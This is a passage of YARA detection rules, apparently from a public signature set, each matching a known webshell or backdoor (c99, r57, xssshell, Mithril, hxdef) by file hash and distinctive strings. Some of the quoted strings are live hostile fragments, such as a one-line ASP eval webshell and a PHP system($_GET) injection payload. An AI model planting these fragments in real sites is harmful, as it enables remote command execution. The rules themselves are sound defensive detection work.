		id = "642033ee-4454-5913-8348-4d1579fc0bd8"

	strings:
		$s3 = "The encoded password is found at 0x%8.8lx and has a length of %d."

	condition:
		all of them
}

rule Pack_InjectT
{
	meta:
		description = "Webshells Auto-generated - file InjectT.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "983b74ccd57f6195a0584cdfb27d55e8"
		id = "3a640c22-0cd4-5ab1-9216-c68625d7d505"

	strings:
		$s3 = "ail To Open Registry"
		$s4 = "32fDssignim"
		$s5 = "vide Internet S"
		$s6 = "d]Software\\M"
		$s7 = "TInject.Dll"

	condition:
		all of them
}

rule FSO_s_RemExp_2
{
	meta:
		description = "Webshells Auto-generated - file RemExp.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b69670ecdbb40012c73686cd22696eeb"
		id = "501544d5-fe52-5933-8782-516ffe18f3ff"

	strings:
		$s2 = " Then Response.Write \""
		$s3 = "<a href= \"<%=Request.ServerVariables(\"script_name\")%>"

	condition:
		all of them
}

rule FSO_s_c99
{
	meta:
		description = "Webshells Auto-generated - file c99.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "5f9ba02eb081bba2b2434c603af454d0"
		id = "0b176370-a5ab-587a-b0e9-ef4fe5c604bd"

	strings:
		$s2 = "\"txt\",\"conf\",\"bat\",\"sh\",\"js\",\"bak\",\"doc\",\"log\",\"sfc\",\"cfg\",\"htacce"

	condition:
		all of them
}

rule rknt_zip_Folder_RkNT
{
	meta:
		description = "Webshells Auto-generated - file RkNT.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "5f97386dfde148942b7584aeb6512b85"
		id = "a58a3b33-8096-535a-b930-2eb71347edb8"

	strings:
		$s0 = "PathStripPathA"
		$s1 = "`cLGet!Addr%"
		$s2 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
		$s3 = "oQToOemBuff* <="
		$s4 = "ionCdunAsw[Us'"
		$s6 = "CreateProcessW: %S"
		$s7 = "ImageDirectoryEntryToData"

	condition:
		all of them
}

rule dbgntboot
{
	meta:
		description = "Webshells Auto-generated - file dbgntboot.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "4d87543d4d7f73c1529c9f8066b475ab"
		id = "6b9381e6-597d-5e74-a318-9931d20a9d08"

	strings:
		$s2 = "now DOS is working at mode %d,faketype %d,against %s,has worked %d minutes,by sp"
		$s3 = "sth junk the M$ Wind0wZ retur"

	condition:
		all of them
}

rule PHP_shell
{
	meta:
		description = "Webshells Auto-generated - file shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "45e8a00567f8a34ab1cccc86b4bc74b9"
		id = "08dff4db-3b1c-5702-a8c9-efaedf83c4ff"

	strings:
		$s0 = "AR8iROET6mMnrqTpC6W1Kp/DsTgxNby9H1xhiswfwgoAtED0y6wEXTihoAtICkIX6L1+vTUYWuWz"
		$s11 = "1HLp1qnlCyl5gko8rDlWHqf8/JoPKvGwEm9Q4nVKvEh0b0PKle3zeFiJNyjxOiVepMSpflJkPv5s"

	condition:
		all of them
}

rule hxdef100
{
	meta:
		description = "Webshells Auto-generated - file hxdef100.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "55cc1769cef44910bd91b7b73dee1f6c"
		id = "fb376c18-02d2-5866-a0e2-ccb5262091dd"

	strings:
		$s0 = "RtlAnsiStringToUnicodeString"
		$s8 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"
		$s9 = "\\\\.\\mailslot\\hxdef-rk100sABCDEFGH"

	condition:
		all of them
}

rule rdrbs100
{
	meta:
		description = "Webshells Auto-generated - file rdrbs100.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "7c752bcd6da796d80a6830c61a632bff"
		id = "369e5ce0-984c-54eb-96d4-fbfb4f932ba6"

	strings:
		$s3 = "Server address must be IP in A.B.C.D format."
		$s4 = " mapped ports in the list. Currently "

	condition:
		all of them
}

rule Mithril_Mithril
{
	meta:
		description = "Webshells Auto-generated - file Mithril.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "017191562d72ab0ca551eb89256650bd"
		id = "81645f57-7d7e-5b4d-b323-744f2cde4916"

	strings:
		$s0 = "OpenProcess error!"
		$s1 = "WriteProcessMemory error!"
		$s4 = "GetProcAddress error!"
		$s5 = "HHt`HHt\\"
		$s6 = "Cmaudi0"
		$s7 = "CreateRemoteThread error!"
		$s8 = "Kernel32"
		$s9 = "VirtualAllocEx error!"

	condition:
		all of them
}

rule hxdef100_2
{
	meta:
		description = "Webshells Auto-generated - file hxdef100.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1b393e2e13b9c57fb501b7cd7ad96b25"
		id = "1f079b73-29de-50cf-868c-1639a43e576f"

	strings:
		$s0 = "\\\\.\\mailslot\\hxdef-rkc000"
		$s2 = "Shared Components\\On Access Scanner\\BehaviourBlo"
		$s6 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"

	condition:
		all of them
}

rule Release_dllTest
{
	meta:
		description = "Webshells Auto-generated - file dllTest.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "76a59fc3242a2819307bb9d593bef2e0"
		id = "af821252-8409-5572-9014-59e8c5feaacd"

	strings:
		$s0 = ";;;Y;`;d;h;l;p;t;x;|;"
		$s1 = "0 0&00060K0R0X0f0l0q0w0"
		$s2 = ": :$:(:,:0:4:8:D:`=d="
		$s3 = "4@5P5T5\\5T7\\7d7l7t7|7"
		$s4 = "1,121>1C1K1Q1X1^1e1k1s1y1"
		$s5 = "9 9$9(9,9P9X9\\9`9d9h9l9p9t9x9|9"
		$s6 = "0)0O0\\0a0o0\"1E1P1q1"
		$s7 = "<.<I<d<h<l<p<t<x<|<"
		$s8 = "3&31383>3F3Q3X3`3f3w3|3"
		$s9 = "8@;D;H;L;P;T;X;\\;a;9=W=z="

	condition:
		all of them
}

rule webadmin
{
	meta:
		description = "Webshells Auto-generated - file webadmin.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "3a90de401b30e5b590362ba2dde30937"
		id = "615d87f8-9094-5994-aea1-d7276623fbca"

	strings:
		$s0 = "<input name=\\\"editfilename\\\" type=\\\"text\\\" class=\\\"style1\\\" value='\".$this->inpu"

	condition:
		all of them
}

rule commands
{
	meta:
		description = "Webshells Auto-generated - file commands.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "174486fe844cb388e2ae3494ac2d1ec2"
		id = "7cffefc7-4f24-5908-82a4-f11eda398377"

	strings:
		$s1 = "If CheckRecord(\"SELECT COUNT(ID) FROM VictimDetail WHERE VictimID = \" & VictimID"
		$s2 = "proxyArr = Array (\"HTTP_X_FORWARDED_FOR\",\"HTTP_VIA\",\"HTTP_CACHE_CONTROL\",\"HTTP_F"

	condition:
		all of them
}

rule hkdoordll
{
	meta:
		description = "Webshells Auto-generated - file hkdoordll.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b715c009d47686c0e62d0981efce2552"
		id = "c4cfb575-89c3-5a72-8bf5-234d4284fe9d"

	strings:
		$s6 = "Can't uninstall,maybe the backdoor is not installed or,the Password you INPUT is"

	condition:
		all of them
}

rule r57shell_2
{
	meta:
		description = "Webshells Auto-generated - file r57shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "8023394542cddf8aee5dec6072ed02b5"
		id = "d3a3fe11-c9e1-523b-88a3-ddc0c1085d04"

	strings:
		$s2 = "echo \"<br>\".ws(2).\"HDD Free : <b>\".view_size($free).\"</b> HDD Total : <b>\".view_"

	condition:
		all of them
}

rule Mithril_v1_45_dllTest
{
	meta:
		description = "Webshells Auto-generated - file dllTest.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1b9e518aaa62b15079ff6edb412b21e9"
		id = "2aea84b6-1b51-58cd-b52b-c31b1f75d295"

	strings:
		$s3 = "syspath"
		$s4 = "\\Mithril"
		$s5 = "--list the services in the computer"

	condition:
		all of them
}

rule dbgiis6cli
{
	meta:
		description = "Webshells Auto-generated - file dbgiis6cli.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "3044dceb632b636563f66fee3aaaf8f3"
		id = "2bc59a6b-f45c-5e68-a346-ac56e8f2757b"

	strings:
		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
		$s5 = "###command:(NO more than 100 bytes!)"

	condition:
		all of them
}

rule remview_2003_04_22
{
	meta:
		description = "Webshells Auto-generated - file remview_2003_04_22.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "17d3e4e39fbca857344a7650f7ea55e3"
		id = "3088ee27-42a3-5140-98de-ab6f87c7748b"

	strings:
		$s1 = "\"<b>\".mm(\"Eval PHP code\").\"</b> (\".mm(\"don't type\").\" \\\"&lt;?\\\""

	condition:
		all of them
}

rule FSO_s_test
{
	meta:
		description = "Webshells Auto-generated - file test.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "82cf7b48da8286e644f575b039a99c26"
		id = "b0cc5a2a-c741-50dd-854f-5a43769e8f47"

	strings:
		$s0 = "$yazi = \"test\" . \"\\r\\n\";"
		$s2 = "fwrite ($fp, \"$yazi\");"

	condition:
		all of them
}

rule Debug_cress
{
	meta:
		description = "Webshells Auto-generated - file cress.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "36a416186fe010574c9be68002a7286a"
		id = "6cf3e43c-bec1-5688-b1d7-8ac48d59153a"

	strings:
		$s0 = "\\Mithril "
		$s4 = "Mithril.exe"

	condition:
		all of them
}

rule webshell
{
	meta:
		description = "Webshells Auto-generated - file webshell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "f2f8c02921f29368234bfb4d4622ad19"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "RhViRYOzz"
		$s1 = "d\\O!jWW"
		$s2 = "bc!jWW"
		$s3 = "0W[&{l"
		$s4 = "[INhQ@\\"

	condition:
		all of them
}

rule FSO_s_EFSO_2
{
	meta:
		description = "Webshells Auto-generated - file EFSO_2.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "a341270f9ebd01320a7490c12cb2e64c"
		id = "e88d324c-1dee-5b07-b528-cf760e3ee7a6"

	strings:
		$s0 = ";!+/DRknD7+.\\mDrC(V+kcJznndm\\f|nzKuJb'r@!&0KUY@*Jb@#@&Xl\"dKVcJ\\CslU,),@!0KxD~mKV"
		$s4 = "\\co!VV2CDtSJ'E*#@#@&mKx/DP14lM/nY{JC81N+6LtbL3^hUWa;M/OE-AXX\"b~/fAs!u&9|J\\grKp\"j"

	condition:
		all of them
}

rule thelast_index3
{
	meta:
		description = "Webshells Auto-generated - file index3.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "cceff6dc247aaa25512bad22120a14b4"
		id = "41310217-b9a7-5360-80c4-7d0a3969f848"

	strings:
		$s5 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"Your Name\\\" field is r"

	condition:
		all of them
}

rule adjustcr
{
	meta:
		description = "Webshells Auto-generated - file adjustcr.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "17037fa684ef4c90a25ec5674dac2eb6"
		id = "4b3d9409-60e8-502a-b37b-1e06d57c9b0b"

	strings:
		$s0 = "$Info: This file is packed with the UPX executable packer $"
		$s2 = "$License: NRV for UPX is distributed under special license $"
		$s6 = "AdjustCR Carr"
		$s7 = "ION\\System\\FloatingPo"

	condition:
		all of them
}

rule FeliksPack3___PHP_Shells_xIShell
{
	meta:
		description = "Webshells Auto-generated - file xIShell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "997c8437c0621b4b753a546a53a88674"
		id = "32a32a9a-8d5f-5b3f-8ff4-560555f0ae1e"

	strings:
		$s3 = "if (!$nix) { $xid = implode(explode(\"\\\\\",$xid),\"\\\\\\\\\");}echo (\"<td><a href='Java"

	condition:
		all of them
}

rule HYTop_AppPack_2005
{
	meta:
		description = "Webshells Auto-generated - file 2005.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
		id = "67c86d16-a962-5502-8c39-0a6e3dc04031"

	strings:
		$s6 = "\" onclick=\"this.form.sqlStr.value='e:\\hytop.mdb"

	condition:
		all of them
}

rule xssshell
{
	meta:
		description = "Webshells Auto-generated - file xssshell.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "8fc0ffc5e5fbe85f7706ffc45b3f79b4"
		id = "ef89653c-5814-525a-b04e-4326a80f780c"

	strings:
		$s1 = "if( !getRequest(COMMANDS_URL + \"?v=\" + VICTIM + \"&r=\" + generateID(), \"pushComma"

	condition:
		all of them
}

rule FeliksPack3___PHP_Shells_usr
{
	meta:
		description = "Webshells Auto-generated - file usr.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "ade3357520325af50c9098dc8a21a024"
		id = "ab1825fe-96aa-5d97-acd6-eac43a12b237"

	strings:
		$s0 = "<?php $id_info = array('notify' => 'off','sub' => 'aasd','s_name' => 'nurullahor"

	condition:
		all of them
}

rule FSO_s_phpinj
{
	meta:
		description = "Webshells Auto-generated - file phpinj.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "dd39d17e9baca0363cc1c3664e608929"
		id = "5d84d518-0e18-517f-890b-e296ac265c50"

	strings:
		$s4 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';"

	condition:
		all of them
}

rule xssshell_db
{
	meta:
		description = "Webshells Auto-generated - file db.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "cb62e2ec40addd4b9930a9e270f5b318"
		id = "94bb2297-95a2-5442-bb16-fb079a29606e"

	strings:
		$s8 = "'// By Ferruh Mavituna | http://ferruh.mavituna.com"

	condition:
		all of them
}

rule PHP_sh
{
	meta:
		description = "Webshells Auto-generated - file sh.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1e9e879d49eb0634871e9b36f99fe528"
		id = "08dff4db-3b1c-5702-a8c9-efaedf83c4ff"

	strings:
		$s1 = "\"@$SERVER_NAME \".exec(\"pwd\")"

	condition:
		all of them
}

rule xssshell_default
{
	meta:
		description = "Webshells Auto-generated - file default.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "d156782ae5e0b3724de3227b42fcaf2f"
		id = "1c221572-4cb5-5806-a856-0f857dba230a"

	strings:
		$s3 = "If ProxyData <> \"\" Then ProxyData = Replace(ProxyData, DATA_SEPERATOR, \"<br />\")"

	condition:
		all of them
}

rule EditServer_2
{
	meta:
		description = "Webshells Auto-generated - file EditServer.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "5c1f25a4d206c83cdfb006b3eb4c09ba"
		id = "bd254bd9-fd23-5807-9347-2a559089b7c5"

	strings:
		$s0 = "@HOTMAIL.COM"
		$s1 = "Press Any Ke"
		$s3 = "glish MenuZ"

	condition:
		all of them
}

rule by064cli
{
	meta:
		description = "Webshells Auto-generated - file by064cli.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "10e0dff366968b770ae929505d2a9885"
		id = "9ea88f0c-9275-5567-a4d9-0545de8044d1"

	strings:
		$s7 = "packet dropped,redirecting"
		$s9 = "input the password(the default one is 'by')"

	condition:
		all of them
}

rule Mithril_dllTest
{
	meta:
		description = "Webshells Auto-generated - file dllTest.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "a8d25d794d8f08cd4de0c3d6bf389e6d"
		id = "59a6bfb6-c099-56cd-b40e-3e92ea0eb7d3"

	strings:
		$s0 = "please enter the password:"
		$s3 = "\\dllTest.pdb"

	condition:
		all of them
}

rule peek_a_boo
{
	meta:
		description = "Webshells Auto-generated - file peek-a-boo.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "aca339f60d41fdcba83773be5d646776"
		id = "f6ca33b5-e37f-5124-a193-a3056c559314"

	strings:
		$s0 = "__vbaHresultCheckObj"
		$s1 = "\\VB\\VB5.OLB"
		$s2 = "capGetDriverDescriptionA"
		$s3 = "__vbaExceptHandler"
		$s4 = "EVENT_SINK_Release"
		$s8 = "__vbaErrorOverflow"

	condition:
		all of them
}

rule fmlibraryv3
{
	meta:
		description = "Webshells Auto-generated - file fmlibraryv3.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "c34c248fed6d5a20d8203924a2088acc"
		id = "9b8ef79d-80bb-5a05-91e6-0f2bc3fd3068"

	strings:
		$s3 = "ExeNewRs.CommandText = \"UPDATE \" & tablename & \" SET \" & ExeNewRsValues & \" WHER"

	condition:
		all of them
}

rule Debug_dllTest_2
{
	meta:
		description = "Webshells Auto-generated - file dllTest.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "1b9e518aaa62b15079ff6edb412b21e9"
		id = "cf81e3de-513c-584d-bc37-6504e91b170c"

	strings:
		$s4 = "\\Debug\\dllTest.pdb"
		$s5 = "--list the services in the computer"

	condition:
		all of them
}

rule connector
{
	meta:
		description = "Webshells Auto-generated - file connector.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "3ba1827fca7be37c8296cd60be9dc884"
		id = "e46026bc-c570-5057-a132-5a459c959a69"

	strings:
		$s2 = "If ( AttackID = BROADCAST_ATTACK )"
		$s4 = "Add UNIQUE ID for victims / zombies"

	condition:
		all of them
}

rule shelltools_g0t_root_HideRun
{
	meta:
		description = "Webshells Auto-generated - file HideRun.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "45436d9bfd8ff94b71eeaeb280025afe"
		id = "dd71dbef-5b5d-5976-8b95-0f202a4b4795"

	strings:
		$s0 = "Usage -- hiderun [AppName]"
		$s7 = "PVAX SW, Alexey A. Popoff, Moscow, 1997."

	condition:
		all of them
}

rule PHP_Shell_v1_7
{
	meta:
		description = "Webshells Auto-generated - file PHP_Shell_v1.7.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "b5978501c7112584532b4ca6fb77cba5"
		id = "7eb69ac3-90bb-5a44-8dcd-e71f5edcf18f"

	strings:
		$s8 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]"

	condition:
		all of them
}

rule xssshell_save
{
	meta:
		description = "Webshells Auto-generated - file save.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "865da1b3974e940936fe38e8e1964980"
		id = "f33c7559-e2f7-5223-a0e9-4e1d3bc7f080"

	strings:
		$s4 = "RawCommand = Command & COMMAND_SEPERATOR & Param & COMMAND_SEPERATOR & AttackID"
		$s5 = "VictimID = fm_NStr(Victims(i))"

	condition:
		all of them
}

rule screencap
{
	meta:
		description = "Webshells Auto-generated - file screencap.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "51139091dea7a9418a50f2712ea72aa6"
		id = "0c1b71d3-ad54-5230-b1ab-971647e76139"

	strings:
		$s0 = "GetDIBColorTable"
		$s1 = "Screen.bmp"
		$s2 = "CreateDCA"

	condition:
		all of them
}

rule FSO_s_phpinj_2
{
	meta:
		description = "Webshells Auto-generated - file phpinj.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "dd39d17e9baca0363cc1c3664e608929"
		id = "db8f835e-eb13-50f3-a60b-7d8ffcaa5eaa"

	strings:
		$s9 = "<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO"

	condition:
		all of them
}

rule ZXshell2_0_rar_Folder_zxrecv
{
	meta:
		description = "Webshells Auto-generated - file zxrecv.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "5d3d12a39f41d51341ef4cb7ce69d30f"
		id = "9d36541f-dd55-5385-8e2b-598ad78bdf73"

	strings:
		$s0 = "RyFlushBuff"
		$s1 = "teToWideChar^FiYP"
		$s2 = "mdesc+8F D"
		$s3 = "\\von76std"
		$s4 = "5pur+virtul"
		$s5 = "- Kablto io"
		$s6 = "ac#f{lowi8a"

	condition:
		all of them
}

rule FSO_s_ajan
{
	meta:
		description = "Webshells Auto-generated - file ajan.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "22194f8c44524f80254e1b5aec67b03e"
		id = "03bf98b9-c8c5-5b9f-b0cd-700c5ed58eac"

	strings:
		$s4 = "entrika.write \"BinaryStream.SaveToFile"

	condition:
		all of them
}

rule c99shell
{
	meta:
		description = "Webshells Auto-generated - file c99shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "90b86a9c63e2cd346fe07cea23fbfc56"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s0 = "<br />Input&nbsp;URL:&nbsp;&lt;input&nbsp;name=\\\"uploadurl\\\"&nbsp;type=\\\"text\\\"&"

	condition:
		all of them
}

rule phpspy_2005_full
{
	meta:
		description = "Webshells Auto-generated - file phpspy_2005_full.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "d1c69bb152645438440e6c903bac16b2"
		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"

	strings:
		$s7 = "echo \"  <td align=\\\"center\\\" nowrap valign=\\\"top\\\"><a href=\\\"?downfile=\".urlenco"

	condition:
		all of them
}

rule FSO_s_zehir4_2
{
	meta:
		description = "Webshells Auto-generated - file zehir4.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "5b496a61363d304532bcf52ee21f5d55"
		id = "7de89d22-0230-508a-ac50-f61730ad9f4e"

	strings:
		$s4 = "\"Program Files\\Serv-u\\Serv"

	condition:
		all of them
}

rule FSO_s_indexer_2
{
	meta:
		description = "Webshells Auto-generated - file indexer.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "135fc50f85228691b401848caef3be9e"
		id = "8ef79a60-fa8c-51ee-bd87-f5467a66099b"

	strings:
		$s5 = "<td>Nerden :<td><input type=\"text\" name=\"nerden\" size=25 value=index.html></td>"

	condition:
		all of them
}

rule HYTop_DevPack_2005
{
	meta:
		description = "Webshells Auto-generated - file 2005.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
		id = "963effd9-f31d-5238-9419-b5dd11822e56"

	strings:
		$s7 = "theHref=encodeForUrl(mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\")"
		$s8 = "scrollbar-darkshadow-color:#9C9CD3;"
		$s9 = "scrollbar-face-color:#E4E4F3;"

	condition:
		all of them
}

rule _root_040_zip_Folder_deploy
{
	meta:
		description = "Webshells Auto-generated - file deploy.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "2c9f9c58999256c73a5ebdb10a9be269"
		id = "7e592ab2-8a53-59d5-a45d-971398586479"

	strings:
		$s5 = "halon synscan 127.0.0.1 1-65536"
		$s8 = "Obviously you replace the ip address with that of the target."

	condition:
		all of them
}

rule by063cli
{
	meta:
		description = "Webshells Auto-generated - file by063cli.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "49ce26eb97fd13b6d92a5e5d169db859"
		id = "9b4a4842-e084-53e8-90fb-603ba034b7df"

	strings:
		$s2 = "#popmsghello,are you all right?"
		$s4 = "connect failed,check your network and remote ip."

	condition:
		all of them
}

rule icyfox007v1_10_rar_Folder_asp
{
	meta:
		description = "Webshells Auto-generated - file asp.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "2c412400b146b7b98d6e7755f7159bb9"
		id = "52150b6a-2f60-5e6b-86d1-61bc0aeb4fa8"

	strings:
		$s0 = "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>"

	condition:
		all of them
}

rule byshell063_ntboot_2
{
	meta:
		description = "Webshells Auto-generated - file ntboot.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "cb9eb5a6ff327f4d6c46aacbbe9dda9d"
		id = "9bcb401d-619b-54b8-be51-f0e3b6eb096c"

	strings:
		$s6 = "OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:)"

	condition:
		all of them
}

rule u_uay
{
	meta:
		description = "Webshells Auto-generated - file uay.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "abbc7b31a24475e4c5d82fc4c2b8c7c4"
		id = "6a670e19-6e53-5b13-aabf-fe74d48b9113"

	strings:
		$s1 = "exec \"c:\\WINDOWS\\System32\\freecell.exe"
		$s9 = "SYSTEM\\CurrentControlSet\\Services\\uay.sys\\Security"

	condition:
		1 of them
}

rule bin_wuaus
{
	meta:
		description = "Webshells Auto-generated - file wuaus.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "46a365992bec7377b48a2263c49e4e7d"
		id = "50b5323b-d8d1-5350-bf93-8dde3d11fd87"

	strings:
		$s1 = "9(90989@9V9^9f9n9v9"
		$s2 = ":(:,:0:4:8:C:H:N:T:Y:_:e:o:y:"
		$s3 = ";(=@=G=O=T=X=\\="
		$s4 = "TCP Send Error!!"
		$s5 = "1\"1;1X1^1e1m1w1~1"
